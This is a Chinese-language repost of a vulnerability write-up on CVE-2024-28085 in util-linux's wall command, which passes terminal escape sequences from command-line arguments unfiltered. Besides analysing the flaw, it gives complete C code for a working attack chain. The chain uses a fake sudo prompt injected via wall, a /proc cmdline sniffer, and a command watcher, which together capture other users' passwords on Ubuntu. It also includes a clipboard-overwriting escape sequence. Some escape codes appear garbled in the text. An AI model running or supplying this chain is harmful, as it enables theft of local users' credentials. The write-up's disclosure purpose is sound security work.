概括
util-linux wall 命令不会过滤转义序列命令行参数。漏洞代码是在commit中引入的CDD3CC7FA4(2013)。此后的每个版本都容易受到攻击。
这允许非特权用户向其他用户添加任意文本终端,如果 mesg 设置为 y 并且 wall 设置为 setgid。CentOS 不是由于 wall 未设置 gid,因此很容易受到攻击。在 Ubuntu 22.04 和 Debian 上书虫,wall都是setgid,mesg默认设置为y。
如果系统在未找到命令时运行命令,且未知命令作为参数,未知命令将被泄漏。这是Ubuntu 22.04 也是如此。Debian Bookworm 不会泄露未知命令它的起始配置。
在 Ubuntu 22.04 上,我们有足够的控制权来泄露用户密码默认。对用户的攻击的唯一指示将是不正确的当他们正确输入密码时会出现密码提示,以及他们的密码在他们的命令历史记录中。
在允许发送墙消息的其他系统上,攻击者可能能够更改受害者的剪贴板。这适用于windows 终端,但不在 gnome 终端上。
分析
在显示来自标准输入的输入时,wall使用fputs_careful函数来中和转义字符。
不幸的是,wall对来自argv的输入没有进行相同的处理。
term-utils/wall.c(注意mvec是argv)
/*
* 从argv[]读取消息
*/
int i;
for (i = 0; i < mvecsz; i++) {
fputs(mvec[i], fs);
if (i < mvecsz - 1)
fputc(' ', fs);
}
fputs("rn", fs);
...
/*
* 从标准输入读取消息。
*/
while (getline(&lbuf, &lbuflen, stdin) >= 0)
fputs_careful(lbuf, fs, '^', true, TERM_WIDTH);
由于argv是受攻击者控制的,并且可能包含二进制数据,因此存在漏洞。一个简单的PoC命令:
wall $(printf " 33[33mHI")
如果您的系统存在漏洞,这应该显示一个带有“HI”黄色的广播消息。如果我们改为运行:
echo $(printf " 33[33mHI") | wall
这应该会在我们的消息之前显示“^[[33m”。
为确保PoC有效,请确保您的受害用户确实可以接收消息。首先检查mesg是否设置为y(mesg y)。如果用户没有打开mesg,则无法利用漏洞。
如果仍然无法接收消息,请尝试运行'su current_user'或通过SSH访问该机器。请注意,仅因为您不能在未经su/SSH的情况下接收消息,并不意味着用户没有漏洞。
利用
大多数发行版允许非特权用户查看参数数据,并且一些发行版在未找到命令时运行命令。我们可以利用这一点通过欺骗用户将其密码作为要运行的命令来泄漏用户的密码。
当我在我的终端中运行命令xsnow时,我得到以下输出:
未找到命令'xsnow',但可以使用以下命令进行安装:
sudo apt install xsnow
让我们看看我这样做时创建了哪些新进程:
-bash
/usr/bin/python3 /usr/lib/command-not-found -- xsnow
/usr/bin/snap advise-snap --format=json --command xsnow
这是在Ubuntu上,但类似的命令也存在于其他系统上。
作为一个简单的演示,让我们为gnome-terminal创建一个伪造的sudo提示,然后监听/proc/$pid/cmdline。
伪造的sudo提示:
#include<stdio.h>
#include<unistd.h>
int main(){
char* argv[] = {"prog",
" 33[3A" // Move up 3
" 33[K" // Delete prompt
"[sudo] password for a_user:"
" 33[?25l"
// 设置前景RGB(48,10,36)
// 隐藏输入
" 33[38;2;48;10;36m",
NULL};
char* envp[] = {NULL};
execve("/usr/bin/wall", argv, envp);
}
cmdline监听:
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<ctype.h>
#include<stdlib.h>
#include<dirent.h>
#include<time.h>
#define USLEEP_TIME 2000
int main(){
pid_t current_max_pid = 0, next_max_pid;
char current_file_name[BUFSIZ];
char buf[BUFSIZ];
DIR* proc_dir;
struct dirent *dir_e;
int curr_e_fp;
while(1){
proc_dir = opendir("/proc");
if(!proc_dir)
abort();
usleep(USLEEP_TIME);
while((dir_e = readdir(proc_dir)) != NULL){
char* d_name = dir_e->d_name;
// 如果不是数字(不是进程文件夹)
if(!isdigit(*d_name))
continue;
int num = atoi(d_name);
if(num > current_max_pid){
next_max_pid = num;
}else{
continue;
}
snprintf(current_file_name, sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");
curr_e_fp = open(current_file_name, O_RDONLY);
int ra = read(curr_e_fp, buf, BUFSIZ-1);
close(curr_e_fp);
for(int i = 0; i<ra-1; i++)
if(buf[i] == ' ') buf[i] = ' ';
// 确保在边界内
buf[ra-1] = 'n';
write(1, buf, ra);
}
current_max_pid = next_max_pid;
closedir(proc_dir);
}
}
如果我们运行cmdline监听和sudo密码提示,用户可能会将其密码输入为命令。在Ubuntu上,它看起来像这样:
-bash
/usr/bin/python3 /usr/lib/command-not-found -- SuperSecretPassword!
/usr/bin/snap advise-snap --format=json --command SuperSecretPassword!
一些发行版,如Debian,默认似乎没有像command-not-found这样的命令。在这种情况下,似乎没有办法泄漏用户的密码,即使我们可以向他们发送转义序列。
这很有效,但用户没有理由在这一点上期望密码页面。既然我们已经展示了一些可利用性,让我们尝试让它变得更好。
想象一下我们在一个终端中运行cmdline监听,在另一个终端中运行'sudo systemctl status cron.service'。监听程序将首先看到sudo进程,然后在用户正确输入密码后,他们将看到'systemctl status cron.service'。
sudo systemctl status cron.service
systemctl status cron.service
攻击者可以在第二个进程启动(密码正确)后立即注入密码不正确的消息。用户会认为他们输入了密码不正确,然后重新输入。
监视特定命令
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<ctype.h>
#include<stdlib.h>
#include<dirent.h>
#include<time.h>
#include<string.h>
#define USLEEP_TIME 3000
int main(int argc, char** argv){
pid_t current_max_pid = 0, next_max_pid;
char current_file_name[BUFSIZ];
char buf[BUFSIZ];
DIR* proc_dir;
struct dirent *dir_e;
int curr_e_fp;
if(argc != 2){
printf("Usage: prog search_stringn");
return 1;
}
while(1){
proc_dir = opendir("/proc");
if(!proc_dir)
abort();
usleep(USLEEP_TIME);
while((dir_e = readdir(proc_dir)) != NULL){
char* d_name = dir_e->d_name;
// 如果不是数字(不是进程文件夹)
if(!isdigit(*d_name))
continue;
snprintf(current_file_name, sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");
curr_e_fp = open(current_file_name, O_RDONLY);
int ra = read(curr_e_fp, buf, BUFSIZ-1);
close(curr_e_fp);
for(int i = 0; i<ra-1; i++)
if(buf[i] == ' ') buf[i] = ' ';
// 确保在边界内
buf[ra-1] = ' ';
// 检查进程是否是我们自己
if(strstr(buf, argv[0])){
continue;
}
// 检查是否与搜索字符串匹配
if(!strcmp(buf, argv[1])){
write(1, buf, ra);
write(1, "n", 1);
return 0;
}
}
closedir(proc_dir);
}
}
想象一下,我们的新监视代码被编译为watch,我们的wall利用被称为throw。
现在我们可以运行:
./watch "sudo systemctl start sshd"; ./watch "systemctl start sshd"; sleep .1; ./throw
前两个命令将等待用户运行
sudo systemctl start sshd
并正确输入sudo密码。然后我们的wall利用将发送我们的伪造sudo提示。我们需要睡眠一小段时间,以确保我们覆盖了命令提示符。
在此过程中,我们需要确保我们的原始监视代码记录所有的cmdline参数,以恢复受害者的密码。
原始监视的示例日志:
./watch sudo systemctl start sshd
sudo systemctl start sshd
./watch systemctl start sshd
systemctl start sshd
bash
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- SuperStrongPassword
/usr/bin/snap advise-snap --format=json --command SuperStrongPassword
现在让我们想象一种不同的攻击方式。攻击者可以通过某些终端上的转义序列更改用户的剪贴板。例如,windows-terminal支持此功能。但gnome-terminal不支持。
#include<stdio.h>
int main(){
printf(" 33]52;c;QXR0YWNrZXIgbWVzc2FnZQo=a");
}
由于我们可以通过wall发送转义序列,如果用户使用支持此转义序列的终端,攻击者可以将受害者的剪贴板更改为任意文本。
进一步参考:
https://github.com/skyler-ferrante/CVE-2024-28085
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):util-linux中11年的安全漏洞(在Ubuntu上泄露用户密码)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论